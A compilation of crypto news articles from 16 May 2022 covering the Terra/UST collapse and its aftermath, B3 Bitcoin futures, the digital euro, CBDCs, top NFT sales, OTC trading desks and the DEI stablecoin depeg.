For Bloomberg Intelligence chief commodity strategist Mike McGlone, there were comparisons to be made with the dotcom bubble.

#Cryptos vs. #StockMarket: $1 Trillion Wipeout vs. $20T - Crypto assets were top performers in the past decade, and the trend is accelerating in the 2020s. The internet bubble that burst in 2000 was a reminder that nascent technologies/assets are synonymous with volatility pic.twitter.com/Jwxt6Yr8iG

— Mike McGlone (@mikemcglone11) May 16, 2022

"If the risk-asset tide keeps ebbing, one of the best performers in history — Bitcoin — should face fitting mean reversion, but early adoption days may favor the nascent technology/asset," he wrote in a further tweet on the day.

"Both Bitcoin and the S&P 500 have dropped below their 100-week moving averages.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph.com. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 17:53:23 +0100

Chief financial officer André Milanez said that the product will launch within the next si months.

B3, the Brazilian Stock Exchange, confirmed that within six months it intends to launch its first official product aimed at the cryptocurrency market — Bitcoin (BTC) futures trading. The group's chief financial officer, André Milanez, made the announcement during a conference call on Monday.

Milanez did not provide many details on how the product will work. It is not yet known if B3 will form a partnership or if it will offer Bitcoin futures trading directly, but the timeline for launching this product was stated to be relatively short. "We plan to launch bitcoin futures in the next three to six months," he said.

Currently, in Brazil, institutional and retail investors can trade 11 ETFs through B3 with exposure to cryptocurrencies, including CRPT11 from Empiricus with Vitreo; the NFTS11 of Investo; QBTC11, QETH11 and QDFI11 all from QR Assets and META11, HASH11, BITH11, ETHE11, DEFI11, WEB311 all from Hashdex. In addition, in Brazil, there are more than 25 investment funds approved by the Securities and Exchange Commission (CVM) that offer different types of exposure to the crypto-assets market.

In January Jochen Mielke de Lima, director of information technology at B3, had already said that the Brazilian stock exchange would launch several products with exposure to cryptocurrencies in 2022, including Bitcoin futures and Ethereum (ETH) futures

At the time, the executive highlighted that the Brazilian stock exchange had been looking closely at the cryptocurrency market from a technological point of view since 2016.

According to the statement, B3 only needed to settle the question on whether the negotiations would be carried out against the U.S. dollar or against the Brazilian real. Futures contracts need a reference index, so if the team chooses Brazil's native currency, it will be necessary to compose a crypto-assets index in reais — something that does not exist now.

The B3 rep also said it is exploring ways to provide data inputs for the country’s central bank digital currency, or CBDC.

B3 and Cryptocurrencies

In addition to BTC and ETH futures, B3 also intends to offer services to national cryptocurrency exchanges and to be a kind of "centralizer" of custody and settlement operations, according to Jochen Mielke de Lima:

“We have around 30 national crypto exchanges, apart from the international ones that operate here. We could offer a service to facilitate and standardize their operations. I believe it has something to explore in providing custody services and in the settlement process.”

Mielke, also stated that the cryptocurrency market is very similar to the regulated stock market, as it involves issuing, trading, settlement and custody. He stated therefore that B3 could help solve common problems between exchanges.

“We are identifying points of friction that we can help resolve to face up, such as helping our customers provide the best access to their end customers,” he said.

In addition, B3 plans other products based on cryptocurrencies and blockchain to launch in 2022. Among them, there are studies on a platform for asset tokenization, cryptocurrency trading, cryptocurrency custody, among others.

"Trading and access to liquidity centers: this means mitigating the complexities of accessing a fragmented, global and 24x7 market; Digital Asset Custody: providing reliable custody (hence, purpose of blockchain transactions); Over-the-counter facilitation: thIn this way, it wants to provide more security and efficiency in the movement and DVP of digital assets; Capital efficiency gains: thus, it wants to mitigate the pre-funded nature of operations and Crypto as a service: make it easier for clients to explore the crypto market with low friction," highlighted B3.

For 2022, B3 reps said they foresee the official launch of a reinsurance platform. This will work on the Corda blockchain R3, and is a partnership between the exchange and IRB Brazil.

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Date of publish: Mon, 16 May 2022 17:15:00 +0100

Commenting on the recent market volatility, Fabio Panetta also said stablecoins were still “vulnerable to runs,” just as investing in cryptocurrencies carried certain risks.

Fabio Panetta, an executive board member of the European Central Bank, or ECB, has said that a digital euro could come within four years, potentially designed with a person-to-person payment solution.

In a Monday speech at the National College of Ireland, Panetta said the ECB could start the development and testing of solutions toward providing a digital euro for members of the European Union in 2023, a phase that could take up to three years. He added that making the digital currency legal tender and for use in P2P payments could help promote adoption.

Panetta also commented on the recent market volatility for cryptocurrencies, with TerraUSD (UST) depegging from the U.S. dollar and the price of many major coins including Bitcoin (BTC) dropping. According to the ECB official, stablecoins, including Tether (USDT), were not “risk-free” and still “vulnerable to runs,” just as investing in cryptocurrencies carried certain risks.

“Recent developments in the market for crypto-assets illustrate that it is an illusion to believe that private instruments can act as money when they cannot be converted at par into public money at all times,” said Panetta. “Despite claims that cryptos are a trustworthy form of "currency free from public control, they are too risky to act as a reliable means of payment. They behave more like speculative assets and raise multiple public policy and financial stability concerns.”

The case for #Stablecoin #DigitalEuro @ecb Fabio Panetta pic.twitter.com/yZO2BvGrzL

— National College of Ireland (@NCIRL) May 16, 2022

Related: Chairman of the Digital Euro Association: ‘The primary aim of the digital euro is still not clear’

Estimates from many EU officials suggest that legislation and policy focused on the launch of a digital euro could be coming within five years. Panetta said in March that Europeans would be more likely to accept a digital euro aimed at addressing their payment needs, and so also accepted in physical and online stores.

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Date of publish: Mon, 16 May 2022 16:30:00 +0100

With nonfungible tokens raking in incredible prices, have a look at the 10 most expensive NFTs sold to date.

Nonfungible tokens, or NFTs, are turning out to be a treasure store with prices striding into the millions of dollars. Instances of an NFT garnering more than $69 million or a tweet fetching $2.9 million are not a fantasy, but an incredible reality.

In 2021, an NFT by digital artist Beeple, or Mike Winkelmann, sold for a whopping $69 million, making NFTs a media hotshot and opening the floodgates for a string of other NFT sales, many of these in millions of dollars. Prompted by the plentiful talk about NFTs, stars like Paris Hilton, Lindsay Lohan, Eminem, Grimes and many more have hopped onto the NFT bandwagon.

In 2022, NFTs have been garnering attention from investors, artists and collectors alike. Let’s take a glance at the 10 most expensive NFTs sold to date:

Beeple’s Crossroads — $6.6 million

Sold via Nifty Gateway, Beeple’s NFT Crossroads came as a response to the 2020 United States presidential election. The piece shows a despondent figure, supposedly Trump, lying on the ground and symbolizing the former president after losing the election.

Crossroads also featured two videos, one with a triumphant Trump and the other a solemn one. What would eventually play depended on the outcome of the election.

Ocean Front — $6 Million

Aimed at the climate crisis, the Ocean Front depicts a tree atop trailers and shipping containers stationed on a platform. Captioned “together we can solve this,” the NFT was auctioned for charity and the beneficiary was the Open Earth Foundation, a nonprofit organization.

One of the most valuable NFTs of the time, the Ocean Front, started bidding at $2.77 million. The winner of the bid was Justin Sun, the founder of the Tron Foundation.

Right-click and Save As Guy — $7.08 million

Snoop Dogg bought XCOPY’s NFT Right-click and Save As Guy, created as a satire of people who don’t recognize the worth of crypto art. 

Right-click and Save As Guy serves as a reminder that it is the receipts associated with the art that cannot be copied, thanks to blockchain technology and not the image itself.

CryptoPunk #7804 — $7.57 million

CryptoPunks are an assemblage of 10,000 unique characters hosted on the Ethereum blockchain, and no two CryptoPunks exactly resemble each other, making them highly valuable. CryptoPunk #7804 stands out for having some rare traits across the whole collection.

These traits include Alien skin, possessed only by 0.09% of the collection. A pipe is another feature, present with only 3% of the collection. The small shades are yet another feature that only 4% of the collection has. There is the “cap forward” trait as well, which is on just 3% of the NFTs. These attributes make CryptoPunk #7804 such a rarity, making it one of the highest-selling NFTs.

CryptoPunk #3100 — $7.58 million

As one of the nine Alien Punks, CryptoPunk #3100 features the Alien skin as well, which is a major factor pushing the token’s value up. The NFT with bluish-green skin also gets a unique look with a white-and-blue headband. The fact that only 406 out of 10,000 in the collection wear a headband underlines its rarity.

First released in 2017, CryptoPunk #3100 gained prominence with a $2 million bid in March 2021 and was eventually bought at $7.58 million in the same month.

CryptoPunk #7523 — $11.7 million

Like other expensive NFTs in the series, CryptoPunk #7523 has a gamut of rare features as well. It is a component of the Alien sub-collection. CryptoPunk #7523 stands out with three attributes possessed by 24% of the collection and an earring, which is only in 25% of the collection.

Other rare features include a knitted cap, while the medical mask is shared by only 2% of the collection. But, even with these rarities taken into account, the price of $11.7 million that it fetched is mind-boggling.

Human One — $28.9 million

Designed by Beeple, Human one is a digital and physical hybrid piece of artwork. A peculiar fact about Human One is that its artwork keeps changing over time. Beeple retains remote access to the artwork and updates it periodically.

The NFT showcases an astronaut ambling through the different backgrounds that change over time. Experiments fusing various TVs into different shapes and patterns influence the appearance of the NFT.

Clocks — $52.74 million

Clocks was meant to raise funds to defend Julian Assange after his controversial imprisonment in May 2019. He was facing charges of espionage due to his association with WikiLeaks, a website he founded. The clock showcases the number of days Assange had been behind bars.

Over 10,000 supporters own a share of the NFT that carries a price tag of $56 million. The beneficiary of the NFT was the Wau Holland Foundation, which has been supporting Assange’s cause.

Everydays: the First 5,000 Days — $69.3 million

Another creation of Beeple, the First 5,000 Days, is a colossal compilation of 5,000 pieces of artwork that differs in terms of content, medium and style that Beeple made every day starting in 2007. Often relying on dystopian or satirical settings, these art pieces have been highly appreciated by aficionados.

To date, it has been the most expensive collage of NFT art pieces ever sold to one sole owner.

The Merge — $91.8 million

Created by artist Pak, The Merge occupies the top position as the most expensive NFT ever sold. Though the artist has never revealed their actual identity, they have a huge presence in the digital art space.

The Merge isn’t a static art piece, but a mash-up of “masses” that anyone interested could buy. When starting, the NFT consisted of three large dots against a black background. The size of the dots increased as the number of buyers went up.

The way ahead

A few months into 2022, NFTs are still going strong. With no caps on how high NFT prices might go, this domain within crypto presents a lucrative opportunity for anyone, who could manage to mint into the right projects and exhibit some patience.

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Date of publish: Mon, 16 May 2022 15:50:00 +0100

These efforts are sure to help get many Terra projects back on their feet following last week's devastating events.

Numerous developers have been left in uncertainty in the aftermath of the Terra (LUNA) collapse. These Terra-based projects, which are already under a lot of pressure, may be able to save their communities and projects by migrating to other networks.

In a move that is expected to benefit both the Polygon (MATIC) community and Terra projects, Polygon Studios' CEO Ryan Wyatt tweeted on Monday that Polygon is working with a number of Terra projects to assist them migrating to the Polygon Network. The Polygon community, according to Wyatt, "is ready to welcome the developers and communities of these Terra projects." He also stated that Polygon would provide the capital and resources needed to assist them in their migration.

Polygon founder Sandeep Nailwal added his two cents by detailing the options most suitable for Terra projects. He suggested that Polygon's proof-of-stake (PoS) chain may be utilized by community projects needing a common chain. Nailwal noted that zk-Rollups will be available on the PoS network soon. 

Layer-1 blockchain project Fantom (FTM) also extended its support to the Terra community by stating that Fantom is prepared to assist any project or developer who desires to move away from Terra blockchain. The team at Fantom also detailed a grant program to help with integration, marketing and connections.

Any Terra Luna projects out there looking for a new chain, please PM us.

Fantom’s uptime is 100%, fast, low-cost, and reliable, with a great community.

Can assist with a grant program, integration, marketing, and connections.#terra #Terra_Luna #Luna

— Fantom Foundation (@FantomFDN) May 15, 2022

These efforts are sure to help get many Terra projects back on their feet following last week's events. Do Kwon, the creator of Terra, finally spoke up and offered a recovery plan. The possibility of implementing a hard fork in the Terra blockchain is one of the ideas being considered. However, because there is an overabundance of LUNA in the market right now, Binance CEO Changpeng Zhao stated that this approach will not work.

Related: 80,000 Bitcoin gone: What’s left in Luna’s reserve wallet?

Despite his reservations, CZ agreed to offer assistance to the Terra community. He stated that:

“Regardless of my personal views, or the solution chosen in the end, we will always be here to support the community in any way we can.”

Ethereum co-founder Vitalik Buterin has also offered his opinion on the issue. Buterin thinks that any repayment plan for Terra should give special consideration to small investors.

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Date of publish: Mon, 16 May 2022 15:03:25 +0100

Over-the-counter, or OTC, trading refers to any trading that is not done via an automated exchange. What exactly is OTC trading? Who does it, and why? To learn more about what an OTC desk is and how these under the radar exchanges operate, Magazine spoke to a few insiders to get the scoop.

The most popular conception of OTC trading revolves around massive off-market deals, like when companies such as MicroStrategy make multimillion-dollar purchases using OTC desks run by the likes of Coinbase or Kraken.

OTC trading is, however, not the exclusive domain of the rich, as it can also refer to peer-to-peer platforms like LocalBitcoins, which has been helping individuals trade BTC both in-person and via bank transfer since 2013. Even some crypto ATMs can be categorized as OTC trading, as these transactions do not always clear on an exchange. In between these two are medium-sized regional OTC desks, which facilitate purchases and sales of crypto by both individuals and companies.

Going over-the-counter

Why do people seek out OTC deals in the first place when existing exchanges like Binance and Coinbase offer easy fiat on-ramps?

Amin Rad, CEO of Dubai-based OTC broker Crypto Desk, explains that this way of trading offers advantages for some people. He says there are only a few ways of converting fiat currency into cryptocurrency, highlighting three:

1. Credit and debit cards are a popular way for new users to purchase cryptocurrency via an exchange, but they come with high fees of up to 10%. However, many banks and credit card issuers still consider such transactions suspicious, locking or even closing accounts after learning the nature of the transactions. On the exchange side of things, the credit cards of certain countries including Russia, Kazakhstan and Ukraine are automatically rejected. A further limitation is that users cannot sell crypto in this way, only buy it, Rad adds, as it is usually impossible to withdraw money onto a credit card.

2. The second channel is purchasing through bank transfer, he says, which involves sending fiat to an exchanges bank account. Rad considers this problematic because many banks, in some countries more than others, dont want to be associated with cryptocurrency nor have their clients trade it. If you want to do a bank transfer, 99% of the time you will have to lie to the bank because otherwise, they will close the account, he says, with his views likely most applicable to his own region, the United Arab Emirates. [Editors note: Dont lie to your bank lest you end up like Peter McCormack.]

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Banks that do tolerate transfers to cryptocurrency exchanges may still involve their compliance teams to ask detailed questions regarding the exact destination of funds and the reasoning behind crypto purchases. And when transfers do go through, they can take several days. Someone might try to wire money to an exchange on Monday to buy BTC at $30,000, only to watch it rise to $40,000 before the money arrives on Thursday.

3. OTC is the third method, allowing buyers and sellers to exchange directly or via a trading desk such as the one Rad operates. No credit cards are involved, and banks cannot easily determine that the funds sent to them are destined to be used for cryptocurrency. With immediate confirmations of receipt, there is no need to wait around for days and potentially miss an opportunity.

A big driver of OTC is that it allows a buyer to deal with larger amounts of cryptocurrencies, such as 100 BTC from one seller at one agreed price, as compared with buying over an exchange, explains Jerry Tan, OTC payments manager at Singapore-based exchange XT, which operates an OTC desk.

From the perspective of whales, such as funds that deal in large sums of cryptocurrency, OTC desks are valuable due to their ability to conduct large trades without moving the market against them. This effect is known as slippage and occurs when large-scale buying causes prices to immediately rise before the targeted amount of cryptocurrency has been purchased, while selling causes it to fall before its all sold.

Odds are that a single seller in the order book is not able to transact such a large amount as 100 BTC. Hence, you will need to buy from multiple sellers at higher prices. This is where slippage from your initial desired price occurs.

Despite the many reasons to engage with OTC trading, there are risks, according to Victor Olmo, fund partner at NewTribe Capital. One of the most significant is counterparty risk the possibility of the other partys default before the fulfillment or expiration of a contract, he explains. Scams are another common pitfall, many of which were described in a recent Journeys in Blockchain article profiling Rad and his Crypto Desk OTC exchange.

Who uses OTC exchanges like Crypto Desk?

Though Rads operations are local to the UAE, he says clients tend to fit into two major categories: Local buyers of cryptocurrency tend to represent traditional finance diversifying into the industry, while expat sellers already hold crypto and need to swap it for local currency in order to purchase real estate, cars and pay their living expenses in the UAE.

These expenses may even include the purchase of real property, in which case it is quite understandable that neither sellers nor buyers want to risk going through a traditional exchange and bank transfers, as banks may block, freeze or question large sums being withdrawn directly from crypto exchanges. Though his daily turnover is in the single-digit millions, it tends to consist of several much smaller OTC deals that are not above the means of fairly normal people many of whom do not want to risk trouble with their banks, which might block transfers between crypto exchanges.

Differing regulations

The Dubai-based Crypto Desk is an example of a brokerage with a low regulatory threshold, as clients must only prove their identity and sign a declaration letter saying that they are not involved in terrorism, money laundering or trading with sanctioned countries. Once I obtain this from you, I am safe. Even if the government comes after you later, I can say I did my job. Rad says he is not required to report transactions, no matter their size, but he keeps records indefinitely.

When it comes to other OTC desks, regulations are usually on par with normal exchanges in terms of KYC identity requirements, though they tend to be less policed.

According to Panu Peltola, chief compliance officer of Finland-based LocalBitcoins, most regions in the world are tightening regulations. He cites Asia as having some of the most advanced regulations, followed by North America.

The EU is just planning more comprehensive regulation, he notes regarding proposed rules to flag all transactions over 1,000 euros from unhosted wallets any wallet whose private keys are not held by a centralized company like a crypto exchange or payment provider.

Global policymakers have taken note of the increasing volumes and adoption rates and are currently balancing innovation, growth and risks.

In the United States, all transactions above $10,000 involving cash must be separately reported to the Internal Revenue Service, regardless of whether an individual or financial institution is receiving the cash. This form requires the full personal information of whomever the cash was received from. Though only a minority of OTC deals involve physical cash, this $10,000 line in the sand, similar to the EUs proposed 1,000 euro limit, also marks the maximum limit after which financial institutions across the U.S. must report electronic money transfers. The real values of these sums are notably getting progressively smaller due to compounding inflation.

The regulatory landscape in Asia, which has many more countries and lacks supranational centralized decision-making organs like the EU, appears more fragmented and difficult to describe, with each country having its own existing and forthcoming regulatory procedures. Mainland China, a country with strict capital controls, is perhaps the most restrictive, with its ambition to completely ban trading and mining. In October 2021, Cointelegraph spoke with Henri Arslanian, PwC crypto lead and former chairman of the FinTech Association of Hong Kong, regarding a flood of brick-and-mortar OTC shops, many of which are located in touristic areas to cater to visitors from the mainland.

One could assume that if mainland Chinese tourists visit Hong Kong, nothing will stop them from buying crypto at these OTC shops.

But even Hong Kong, a place once considered among the worlds most financially open, is on the cusp of banning the retail trading of cryptocurrency, which would theoretically include OTC, likely sending OTC shops underground.

Singapore recently introduced stricter measures, according to Tan from XT. Companies that wish to operate cryptocurrency trading and OTC services to Singaporeans have to obtain a license from the Payment Services Act, he explains, adding that exchanges without the PSA license are not allowed to offer services to Singaporeans. In addition, all Bitcoin ATMs on the island were ordered to shut down earlier this year.

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Talking money

So, how do OTC desks make money? With spread, in a way comparable to normal exchanges. While popular exchanges might charge 0.25% on transactions, it is common for OTC desks to take well above 1% in commission. Back in 2017, 2%3% margins were common, Rad says.

Fundamentally, an OTC desk operates either by matching buyers and sellers or by fulfilling orders automatically from its own liquidity pool, with the former carrying less overhead and risks for the exchange and the latter allowing for instant transactions. Thats why clients prefer to deal with me, Rad says regarding his desks advantage in having its own pool of funds that allow for reliable transactions.

Another differentiator between desks is whether they trade fiat for cryptocurrencies like Bitcoin or Ether or only for stablecoins like USDT or USDC. In recent times, there has been a trend toward stablecoins because they give buyers greater flexibility to exchange into more volatile cryptocurrencies when they see fit. Some exchanges such as Rads Crypto Desk deal exclusively with stablecoins, further reducing the risks of maintaining a liquidity pool.

Rad is confident that the OTC market will flourish, both among retail and institutional clients, due to its more direct, intimate nature when compared with larger exchanges. For many, dealing person-to-person is more comfortable than wiring money to an exchange overseas, especially when it comes to making large, one-off transactions.

Local [OTC] exchanges will control the local markets because they have better knowledge about their own market they have better compliance solutions and better licensing solutions.

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Date of publish: Mon, 16 May 2022 14:49:29 +0100

Following the fall of TerraUSD, DEI, the algorithmic stablecoin by DEUS Finance, takes a nosedive below $0.60.

As the market continues to mourn over losses on the Terra (LUNA) UST and LUNA debacle, DEI, a stablecoin used as a collateral mechanism for third-party instruments built on the Fantom (FTM)-based decentralized finance (DeFi) protocol DEUS Finance (DEUS), has failed to maintain its dollar peg, falling below $0.60 cents on Monday. 

As the price of DEI hit an all-time low of $0.52, its market capitalization also followed, dropping from almost $100 million to around $52 million. However, despite the depegging of its stablecoin, DEUS Finance’s governance token, DEUS, went up from $163.40 to $327.28, before falling to $255.36.

At the time of writing, DEI's price is $0.66 with a market capitalization of $59 million. This follows stablecoin fears brought about by the UST and LUNA debacle and a decision by Deus Finance developers to pause DEI redemptions. However, according to its official Telegram channel, the DEI peg will be restored in the next 24 hours. 

While DEI is also an algorithmic stablecoin like UST, the DEI stablecoin is collateralized, meaning that users are able to mint 1 DEI by depositing collateral worth $1. These can be assets like USD Coin (USDC), Fantom (FTM), Dai (DAI), WBTC or DEUS.

Similar to UST, DEI's peg is stabilized by a mechanism that involves the minting and burning of DEUS. When minting DEI, a DEUS collateral is burned unless other tokens are used as collateral. On the other hand, when redeeming DEI, DEUS is minted.

Related: USDT-dollar peg wobbles as markets continue to struggle: Tether CTO weighs-in

Back in March, the DeFi project became a victim of a hack that resulted in DAI and Ether (ETH) losses worth $3 million. Because of this, the platform decided to close its DEI lending contract. A day after the Deus Finance exploit, DeFi protocols Agave and Hundred Finance also reported exploits that resulted in losses of various cryptos that were worth a total of $11 million.

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Date of publish: Mon, 16 May 2022 14:27:04 +0100

Does government-issued digital money pose an existential threat to cryptocurrencies? Probably not, but stablecoin usage could narrow.

Government-issued electronic currency seems to be an idea whose time has come. 

“More than half of the world’s central banks are now developing digital currencies or running concrete experiments on them,” reported the Bank for International Settlements, or BIS, in early May — something that would have been unthinkable only a few years ago.

The BIS also found that nine out of ten central banks were exploring central bank digital currencies, or CBDCs, in some form or other, according to its survey of 81 central banks conducted last autumn but just published.

Many were taken aback by the progress. “It is truly remarkable that some 90% of central banks are doing work on CBDCs,” Ross Buckley, KPMG-KWM professor of disruptive innovation at the University of New South Wales, Sydney, told Cointelegraph. “The year-on-year growth in this field is extraordinary.”

“What I found most surprising was the speed at which advanced economies were moving toward retail CBDCs,” Franklin Noll, president at Noll Historical Consulting, LLC, told Cointelegraph. “As recently as the middle of last year, central banks in advanced economies were taking a rather relaxed view of CBDCs, not seeing them as particularly necessary or worthy of much attention.”

Momentum accelerated last year, the report observed. After the Bahamas launched the world’s first live retail CBDC — the Sand Dollar — in 2020, Nigeria followed in 2021 with its own electronic money, the eNaira. Meanwhile, the Eastern Caribbean and China released pilot versions of their digital currencies, DCash and e-CNY, respectively. “And there is likely more to come: a record share of central banks in the survey — 90% — is engaged in some form of CBDC work,” said the BIS.

The Bahamas struggles, Sweden deliberates, Chile delays

Implementing a successful CBDC may be easier said than done, however. The Bahamas’ new digital money has struggled to gain traction, accounting for less than 0.1% of currency in circulation in that island nation, the International Monetary Fund said in March, and “there are limited avenues to use the Sand Dollar.” More education of the populace is needed, said the IMF, a challenge that other government-issued electronic currencies will probably face as well. 

Sweden’s central bank, the Riksbank, has been researching, discussing and experimenting with digital currencies longer than most. Its e-krona project began in 2017, and a pilot program, launched in 2020, is now in its second phase. Carl-Andreas Claussen, a senior advisor in the Riksbank’s payments department, told Cointelegraph that there are lots of reasons why central banks might want to implement a CBDC, but “at the Riksbank, it is first of all the decline in Sweden’s use of cash.”

Sweden is racing toward becoming the Western world’s first cashless society. From 2010 to 2020, the proportion of Swedes using cash fell from 39% to 9%, according to the Riksbank. But, this also raises questions. As Claussen told Cointelegraph:

“If physical cash disappears, the public will not have access to central bank money anymore. That will be a serious change from how it has been over the last 400 years in Sweden. With an e-krona, the Riksbank will offer central bank money that the public can use.”

Still, nothing has been decided in Sweden. “It is not clear that we will need it,” Claussen said. “So first, we have to sort out if we need it at all and if it is worthwhile to do it. We are not there yet.” 

Claussen has little doubt, however, that if a modern government decides to issue a digital currency it can succeed. It will need to be sure that it really needs a CBDC, however. “Neither the Riksbank nor the larger central banks around the world have decided whether or not to issue a CBDC,” he declared. Not even China? “I have not heard that they have made a final decision to issue,” he told Cointelegraph.

Elsewhere, Chile announced last week that it was delaying the rollout of its CBDC, explaining that a government-issued digital peso required more study. Chile is looking to develop a national payment system that is “inclusive, resilient, and protects people’s information,” according to a report. But, its central bank said that it still doesn’t have enough information to make a final decision on it.

According to CBDC Tracker, only the Bahamas and Nigeria have progressed to full CBDC “launch” in the real world, while 2022 thus far has seen more canceled projects like Singapore’s Project Orchid than full roll-outs. On the other hand, only five “pilot” programs were underway in January 2020, compared with 15 in May 2022, which suggests more launches could be imminent.

Related: Blockchains are forever: DLT makes diamond industry more transparent

What is driving the trend?

The BIS sees different motivating factors behind this “growing momentum” toward CBDCs. Advanced economies tend to be interested in improving domestic payment efficiencies and safety, while maintaining financial stability. Poorer economies, emerging markets or developing economies, by comparison, may focus more on financial inclusivity, or look for ways to enable people who have never had a bank account to participate in the economy.

Andrey Kocevski, co-founder at WhisperCash.com — whose firm has developed a digital bearer instrument that could be used by CBDCs — agreed that developing countries usually “want to compensate for the lack of private sector fintech or payment companies and to increase financial inclusion for the unbanked,” further telling Cointelegraph:

“I am not surprised that the number of central banks exploring digital currencies is at 90% now, considering last year it was 80% and in 2018 it was around 30%.”

“For advanced economies, the catalyst was stablecoins,” said Noll, adding that 2021 was “the year of the stablecoin.” Central banks in the developed world began taking seriously the possibility that stablecoins could make headway against fiat currencies, threatening their monopoly on money and disrupting monetary policy potentially, he said.

As for BIS’ contention that the COVID-19 pandemic may have been a prod, “I do not see much evidence for the impact of COVID-19 and a flight from cash driving new interest in CBDCs,” added Noll. “Cash usage remains strong and may be rebounding to pre-pandemic levels.”

Peer pressure, too, could be a factor — yes, even among central bankers. As Buckley told Cointelegraph:

“If one’s major competitor countries do this, everyone feels the need to follow or risk being left behind — some form of sophisticated FOMO.”

Kocevski seemed to agree: “Central banks in developed countries feel the need to digitize in order to stay relevant.”

Could state-run digital currencies co-opt crypto?

Where do cryptocurrencies figure in all this? Just to be clear, government digital money is typically issued in the currency unit of the land such as pesos in Chile, and dollars in the United States, and is a “liability” of the central bank. Cryptocurrencies, by comparison, have their own currency “unit” — like Ether (ETH) — and are private digital assets with no claim on the central bank. 

According to the BIS survey, most central banks see payment networks like Bitcoin and Ethereum posing little threat to their activities, and stablecoins even less: “Most central banks in the survey still perceive the use of cryptocurrencies for payments to be trivial or limited to niche groups.”

Still, couldn’t CBDCs pose an existential danger to cryptocurrencies at some point? “A year ago I thought they would — now I don’t,” Buckley told Cointelegraph. CBDCs are essentially payment instruments, while cryptocurrencies are more like speculative assets. “These new instruments will not represent an existential threat to Bitcoin and the like, but they will make it harder for Bitcoin to argue for itself as anything other than a speculative play,” he said.

Gourav Roy, a senior analyst at the Boston Consulting Group in India, who also contributes to CBDC Tracker, told Cointelegraph that many governments still view crypto as a “big threat to their country’s macroeconomics and main financial/payment landscape,” and for that reason, these countries regularly issue warnings about cryptocurrencies, introduce legislation to tax crypto transactions, and sometimes even ban crypto trading. Roy offered China as a case in point: It banned cryptocurrencies while at the same time “carrying out the world's biggest CBDC pilot testing with 261 million users.”

That said, Roy still sees stablecoin projects surviving and continuing to play an important part in the decentralized finance ecosystem — even with widespread CBDC adoption. Kocevski, for his part, didn’t think government-issued electronic money was an existential threat to crypto.

Related: DeFi attacks are on the rise — Will the industry be able to stem the tide?

Noll not only believes that CBDCs and cryptocurrencies can co-exist, but CBDCs could potentially “work to popularize and mainstream crypto in general.” As public and private sectors become more informed and comfortable with cryptocurrencies, “this should advance the entire industry,” he told Cointelegraph, adding:

“The downside for crypto is that CBDCs will work to crowd out private cryptocurrencies, especially stablecoins focused on retail payment areas. Cryptocurrencies will stay in niches in the payment system where they serve unique functions and provide specialized services.” 

Overall, much has happened on the CBDC front in recent years. While most advanced projects so far have been in non-Western economies like the Bahamas, Nigeria and China, interest in many Western economies like France and Canada seems to be picking up, all the more noteworthy because many already have advanced payment systems in place. As Noll said: 

“Just look at President Biden’s recent executive order, which is all about advancing a U.S. CBDC and is a far step from 2020 and 2021 speeches by Fed officials that questioned the need for any such thing.”

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Date of publish: Mon, 16 May 2022 14:01:00 +0100

FTX CEO’s comments on Bitcoin received heavy backlash from the crypto community, with many reminding him of Solana, a PoS network that has gone offline half a dozen times.

Sam Bankman-Fried, the founder of crypto exchange FTX, has criticized the efficiency of Bitcoin (BTC) as a payment network, only to meet heavy backlash from the crypto community.

During an interview with the Financial Times, Bankman-Fried fueled environmental concerns associated with the Bitcoin network’s mining consensus proof-of-work (PoW) and claimed it's not scalable enough to accommodate millions of transactions.

He advocated for the use of proof-of-stake (PoS) mining consensus instead and claimed it is better suited for blockchain payment networks. He said:

“Things that you’re doing millions of transactions a second with have to be extremely efficient and lightweight and lower energy cost. Proof of stake networks are."

Bankman-Fried comments resonated with the recent calls for a complete ban on PoW by a group of billionaire lobbyists comprising Ripple co-founder and several other environmental groups. However, Bitcoin proponents have been actively fighting against the ongoing narration calling for a change in the code of the Bitcoin network's mining consensus.

Related: Eager to work: Bitcoin switch to proof-of-stake remains unlikely

The likes of Jack Dorsey have already made it clear that PoS is more centralized and less secure than PoW.

The crypto community was not very pleased with FTX CEO’s recent comments. Many claimed the Bitcoin network is not intended to be a payment network, but rather a settlement one and layer-2 (L2) solution, such as the Lightning Network, t act as the main payment gateway. One user wrote:

“Either SBF or FT lying here. What happens to L2 (Lightning Network)? The Bitcoin Lightning Network handles up to 1,000,000 transactions per second!”

Others reminded him of the high centralization and concurrent shutdowns of PoS networks such as Solana (SOL). One user wrote:

“Thanks god we have Soylana that we can switch off and on every other week!”

Another user on Reddit wrote:

"He doesn't have a friggin' clue what he is talking about (or the journalist interviewing him doesn't). Scaling has NOTHING to do with the consensus algorithm and hence whether it is POW or POS is completely irrelevant to the scaling issues."

The FTX CEO took to Twitter to clear the air around his comments and said that he also talked about the Bitcoin network's potential as a store of value. He said:

“To be clear I also said that it does have potential as a store of value. The BTC network can't sustain thousands/millions of TPS, although BTC can be xfered on lightning.”

The PoW vs PoS debate started last year when the Ethereum network outlined its plan to move to the PoS mining consensus. The likes of Elon Musk fueled the sentiment that BTC needs to use more clean energy to be a viable option. However, in 2022, the debate seems to have shifted towards a complete change of mining consensus for the BTC network.

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Date of publish: Mon, 16 May 2022 12:00:00 +0100

The Luna Foundation Guard updated the world concerning its crypto-asset reserves and shared a promise to compensate the remaining users of failed stablecoin UST.

The Terra saga continues. In a Twitter thread, the team behind the failed algorithmic stablecoin TerraUSD (UST) and the token LUNA shared precisely how much Bitcoin (BTC) and crypto assets they had disposed of.

The Luna Foundation Guard (LFG) also promised to “compensate remaining users of $UST, smallest holders first,” with the remaining assets.

In summary, 80,081 BTC, or 99.61% of the Bitcoin that LFG guarded, has exited the fund. The group confirmed the sale of “33,206 $BTC for an aggregate 1,164,018,521 $UST” in a tweet. The remaining 47,188 BTC is not accounted for, while 313 BTC remains in reserve.

Interestingly, LFG has not sold a single BNB or AVAX token, holding around 40,000 and 2,000,000 of each, respectively.

The below graphic outlines the remaining tokens in the LFG reserve:

The reason behind the disposal and sale of cryptocurrency in the LFG reserve was to support the health of the Terra ecosystem:

2/ Consistent with its non-profit mission & focus on the health of the Terra ecosystem, beginning on May 8, when the price of $UST began to drop substantially below one dollar, the Foundation began converting this reserve to $UST.

— LFG | Luna Foundation Guard (@LFG_org) May 16, 2022

The counterparty that the group used has not been named. Cointelegraph experts have compiled an analysis on the Terra ecosystem implosion, questioning the “long-term viability of algorithmic stablecoins.” The current makeup of the LFG reserve is the following:

